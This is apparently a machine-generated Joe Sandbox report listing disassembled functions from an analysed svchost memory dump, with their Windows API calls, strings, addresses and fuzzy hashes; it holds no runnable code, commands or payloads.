Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: d9f4358a1d31489f216a376bbd794669f2cb2f33805e6d499db2f45a2d4a1307
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: 2781F73170524186FBD0AB69984D79D72E0E797780F184025AA0977796EF3BC9868F03

Function 0000026A879C75F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000026A879C7618
__scrt_acquire_startup_lock.LIBCMT ref: 0000026A879C766A
_RTC_Initialize.LIBCMT ref: 0000026A879C7698
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000026A879C76BE
__scrt_release_startup_lock.LIBCMT ref: 0000026A879C76E9

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: e6e00d3cec3b77a6a90c9ec39f0c43c6408aef7a54a59689b67cb6274e0b0fd7
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: FB81D13170464586FFD0EB2A998D39D7A94ABD5B80F4C8425AA0877796DB3BC8418F13

Function 0000026A879C9804 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 0000026A879C9889
GetLastError.KERNEL32 ref: 0000026A879C9897
LoadLibraryExW.KERNEL32 ref: 0000026A879C98C1
FreeLibrary.KERNEL32 ref: 0000026A879C9907
GetProcAddress.KERNEL32 ref: 0000026A879C9913

Strings

api-ms-, xrefs: 0000026A879C98A9

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction ID: 46faaff618465698a6995b51eff2aa39a1bd3dd032481dc3d2b297d9d9beb68c
Opcode Fuzzy Hash: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction Fuzzy Hash: CF31C131212A40D1FF92DB06E80879D77A8BB98BB4F5A4524ED2D2B394DF39C445CB02

Function 0000026A879D1B9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteConsoleW.KERNEL32 ref: 0000026A879D1BCD
GetLastError.KERNEL32 ref: 0000026A879D1BD9
CloseHandle.KERNEL32 ref: 0000026A879D1BF1
CreateFileW.KERNEL32 ref: 0000026A879D1C1C
WriteConsoleW.KERNEL32 ref: 0000026A879D1C3B

Strings

CONOUT$, xrefs: 0000026A879D1BFD

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction ID: 195ee54b184dfd1d4a94bbabb291892d4747d69da2f14ea1dda46ef7d3bb7c40
Opcode Fuzzy Hash: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction Fuzzy Hash: E211BC32314B4086F790CB12E84831DBEA4F789FE5F004225EA5D977A4DF3AC9048B41

Function 0000026A879C5C10 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026A879C5C4B
GetThreadContext.KERNEL32 ref: 0000026A879C5DB5

Part of subcall function 0000026A879C5A40: GetCurrentThreadId.KERNEL32 ref: 0000026A879C5A44

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction ID: 668ed7f2667091ced11d858c5786cb119bf8f80e5a5e4a6a64a44aaa3e9ecd61
Opcode Fuzzy Hash: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction Fuzzy Hash: 50D18C76208B8881EAB0DB1AE49435E7BB4F3D8B84F154216EA8D57BA5DF39C541CF01

Function 0000026A879C30B4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C30D7
HeapAlloc.KERNEL32 ref: 0000026A879C30EA
StrCmpNIW.SHLWAPI ref: 0000026A879C316B
GetProcessHeap.KERNEL32 ref: 0000026A879C31D1
HeapFree.KERNEL32 ref: 0000026A879C31DF

Strings

dialer, xrefs: 0000026A879C3164

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction ID: 4e4df6a00d47054bd9678bac00e72608e7238581d895763a19b039f4903db13a
Opcode Fuzzy Hash: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction Fuzzy Hash: DA31A231701B519AFF95DF16A84826D7BA0FB84B94F0881209F8C27B55EF3AC4A1CB02

Function 0000026A879C1A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000026A879C1A3A
K32GetModuleFileNameExW.KERNEL32 ref: 0000026A879C1A58
PathFindFileNameW.SHLWAPI ref: 0000026A879C1A67
lstrlenW.KERNEL32 ref: 0000026A879C1A73
StrCpyW.SHLWAPI ref: 0000026A879C1A86
CloseHandle.KERNEL32 ref: 0000026A879C1A94

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction ID: fa2f4e6e1173dce71ba7fbc21c8ec9abc64c048dfb6ec85f973e965938c3ec86
Opcode Fuzzy Hash: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction Fuzzy Hash: B4016971300A4196FB90DB12A85C35D7BA1F788FC1F888035CE8D53B54DE3EC9898B41

Function 0000026A879C37AC Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000026A879C37C8
GetCurrentProcess.KERNEL32 ref: 0000026A879C37D6
VirtualProtectEx.KERNEL32 ref: 0000026A879C37F8
GetCurrentProcess.KERNEL32 ref: 0000026A879C3819
VirtualProtectEx.KERNEL32 ref: 0000026A879C383A
TerminateThread.KERNEL32 ref: 0000026A879C3849

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction ID: 88e1dc055e24f007908cfd903687df20f7c2d2507063046347e7f2aeeb900160
Opcode Fuzzy Hash: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction Fuzzy Hash: A5111775611B41C2FBA4DB65E81D75E7EB0BB88B82F040429CA4D27764EF3EC4088B02

Function 0000026A879C90F5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A879C9103
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026A879C9198
RtlUnwindEx.NTDLL ref: 0000026A879C91E7

Strings

csm, xrefs: 0000026A879C917E
f, xrefs: 0000026A879C9116

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 6ab0d891425302b41ef9979ff86cf2d6f11ac9e1349dcf3938e42dc16432e1c0
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: 8A51BD32311640CAEF94CF25E44CB5D3BA5F3A4BA8F528120DE4A67788EB37D941CB02

Function 0000026A879C90D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A879C9103
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026A879C9198
RtlUnwindEx.NTDLL ref: 0000026A879C91E7

Strings

csm, xrefs: 0000026A879C917E
f, xrefs: 0000026A879C9116

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: cb143f3d6994fee4eb32646ee3a4132a5777a16b8d7ef106b84b70684e1f550f
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: 1531C032210680DAEB94DF11E84C71D3BA5F794BA8F058114AE4A27785DB3AD941CB06

Function 0000026A879C1AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000026A879C1AD8
StrCmpNIW.SHLWAPI ref: 0000026A879C1AF2
lstrlenW.KERNEL32 ref: 0000026A879C1B01
StrCpyW.SHLWAPI ref: 0000026A879C1B16

Strings

\\?\, xrefs: 0000026A879C1AE6

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction ID: 8ba78bf88c1916c61f564416cb90b9acd9514bc905b3ba5d15dab470fb65a13c
Opcode Fuzzy Hash: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction Fuzzy Hash: 5BF03C7230464196FBA0CB21F99835D7F61F784B99F848020CA4D57959EE6EC688CF01

Function 0000026A879C3200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000026A879C3222
StrCpyW.SHLWAPI ref: 0000026A879C3232
StrCatW.SHLWAPI ref: 0000026A879C323E
PathCombineW.SHLWAPI ref: 0000026A879C324C

Strings

\\.\pipe\, xrefs: 0000026A879C3218

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction ID: adf10e1541d886bfc46832840359db2901279f5cca05dbc69dded0e73e1861d5
Opcode Fuzzy Hash: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction Fuzzy Hash: 7FF08230704B80D2FE80CB13B90811DBE21EB88FD1F088131DE5E27B28DE2DC4418B02

Function 0000026A879CA138 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000026A879CA154
GetProcAddress.KERNEL32 ref: 0000026A879CA16A
FreeLibrary.KERNEL32 ref: 0000026A879CA187

Strings

CorExitProcess, xrefs: 0000026A879CA163
mscoree.dll, xrefs: 0000026A879CA14B

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction ID: 0ba0d654cb6f18296789ccbe063357a8a2b3fcf1d8cae2d0dced513f39d16d73
Opcode Fuzzy Hash: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction Fuzzy Hash: A6F0FE7132164492FFD4CF60E89836D3F60EB88B91F442019994FA7574DE29C488CF12

Function 0000026A879C51B0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026A879C5236

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction ID: b5e59098baef328b6d7bdbe74c7cb822dd7390226da7e9ac6dd182fe16b175d4
Opcode Fuzzy Hash: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction Fuzzy Hash: D402BA36219B80C6EBA0CB55E49435EBBA0F3D4794F205116EA8E97BA9DF7DC484CF01

Function 0000026A879D0860 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000026A879D08A2
GetConsoleMode.KERNEL32 ref: 0000026A879D0960
GetLastError.KERNEL32 ref: 0000026A879D09EA

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction ID: 46f073674741d853182dd06e49b026107be083b4c17cd02207308e0e43a20ad0
Opcode Fuzzy Hash: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction Fuzzy Hash: EB81C032B1065089FBD0DB69D94C3AD3FA1F784B98F444156DE1A77792DB36C441CB22

Function 0000026A879C57F0 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026A879C5806

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction ID: d90cda66bbfad1debd14c78d4e1d40b92ccf3fbe301fd6ccc73bba502c12dda2
Opcode Fuzzy Hash: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction Fuzzy Hash: A561DA36519B40C6EBA0CB15E45831EBBE4F3D8754F605216EA8E67BA8DB7EC540CF01

Function 0000026A879A12B8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000026A879A12E0
_set_statfp.LIBCMT ref: 0000026A879A12FB
_set_statfp.LIBCMT ref: 0000026A879A1317
_set_statfp.LIBCMT ref: 0000026A879A1353

Memory Dump Source

Source File: 0000001B.00000002.2929010361.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a87990000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 7ef8aaefcf1b905b68fa67122955c18c980f192bf2e6b4bd5c6510424708fb32
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 19112532EC3E0001FBE41969E55E3ADB0706B54374F090224AB7637BDAFE1ACC424A07

Function 0000026A879D1EB8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000026A879D1EE0
_set_statfp.LIBCMT ref: 0000026A879D1EFB
_set_statfp.LIBCMT ref: 0000026A879D1F17
_set_statfp.LIBCMT ref: 0000026A879D1F53

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 325e6dd0d984f579dabc2df724599173956b793cad1da30d5df66ae2e0b34588
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: A211A373A98B0001F6D891ADE45F3AD3C40EB64374F5A0625AB76373E6AB1ACC814906

Function 0000026A879C3878 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000026A879C3886
GetCurrentProcess.KERNEL32 ref: 0000026A879C38B4
VirtualProtectEx.KERNEL32 ref: 0000026A879C38D6
GetCurrentProcess.KERNEL32 ref: 0000026A879C38F4
VirtualProtectEx.KERNEL32 ref: 0000026A879C3915

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction ID: 9cb059389f430eefe55732830a83e879fcbc2c0922e6bfc06ba8584c724dddf5
Opcode Fuzzy Hash: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction Fuzzy Hash: 5011FA3A705B4182FF949B51F40826D7AB4F788B85F044029DE8D17795EE3EC545CB06

Function 0000026A879984F5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A87998503
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026A87998598

Strings

csm, xrefs: 0000026A8799857E
f, xrefs: 0000026A87998516

Memory Dump Source

Source File: 0000001B.00000002.2929010361.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a87990000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 9c9adf42bdbe15e594f47225c290312529cae0cac6b0b1dfddc7f7636dbbf591
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: 3F51A332712A009BFB94CF15E488F5D37A5F384B98F528128DA1A6B788DB36D945CF07

Function 0000026A879984D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A87998503
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026A87998598

Strings

csm, xrefs: 0000026A8799857E
f, xrefs: 0000026A87998516

Memory Dump Source

Source File: 0000001B.00000002.2929010361.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a87990000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: 59c4ffac785529dcdcadff87240a1ef8f544bfcca855935e61c0aa6ef90fdcab
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: 8D31D172211740A6F794DF11E888F1D77A4F780BC8F168018EE4A67788CB3AC944CB07

Function 0000026A879C14B4 Relevance: 6.3, APIs: 5, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C14D5
HeapFree.KERNEL32 ref: 0000026A879C14E4
GetProcessHeap.KERNEL32 ref: 0000026A879C14F0
HeapFree.KERNEL32 ref: 0000026A879C14FF
GetProcessHeap.KERNEL32 ref: 0000026A879C152A

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction ID: 503738bbb351b992aa054f619d5032a0360e56ad1c0bab80166c19a25c48d67a
Opcode Fuzzy Hash: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction Fuzzy Hash: 2A115832514B89D2FB94DFA6A84821E7F60F789B85F044129EB8E23755EF3AC0518B45

Function 0000026A879C26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000026A879C27D4
StrCpyW.SHLWAPI ref: 0000026A879C27ED

Strings

\\.\pipe\, xrefs: 0000026A879C27DF

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction ID: b7904aae615f521d7812c3f5e65d9e24a3ce78fdd2b7a407f501b4ad358c7a2d
Opcode Fuzzy Hash: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction Fuzzy Hash: 9571D43220478186EFA4DF259A483EEB790F7C5B84F444016DE4E63B99DE36C6848F42

Function 0000026A879C24DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000026A879C25C3
StrCpyW.SHLWAPI ref: 0000026A879C25DA

Strings

\\.\pipe\, xrefs: 0000026A879C25CE

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction ID: a6c0abc4f2a2b75ba774e9e6d1f259500821b8a5541e7079b06ca42121c14c5d
Opcode Fuzzy Hash: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction Fuzzy Hash: 9551DD32204B8182EEF4DF29965C3AEB751F7C5780F454026DE8A23B99DE3BC4458F52

Function 0000026A879D0604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000026A879D071B
GetLastError.KERNEL32 ref: 0000026A879D073D

Strings

U, xrefs: 0000026A879D06C7

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction ID: 8ca21fce6d0e22c8cf5732f9377e562903c25c7ef9583250b87a770ae0f6e834
Opcode Fuzzy Hash: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction Fuzzy Hash: A341C672715A8081EBA0DF69E8483AE7FA0F798784F844125EE4D97798DB3DC541CF41

Function 0000026A879CD6C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000026A879CD6F9
LCMapStringW.KERNEL32 ref: 0000026A879CD781

Strings

LCMapStringEx, xrefs: 0000026A879CD6DC, 0000026A879CD6ED

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction ID: 109b6a62fa6fb2b36cdbe3fe010a87026b8d3f57eb8c45ceefd888f193cb09d2
Opcode Fuzzy Hash: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction Fuzzy Hash: 1C111A36608B8086DBA0CB56F88429ABBA4F7C9B90F544126EECD93B59DF38C550CB00

Function 0000026A879C94A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000026A879C94E8
RaiseException.KERNEL32 ref: 0000026A879C952E

Strings

csm, xrefs: 0000026A879C951B

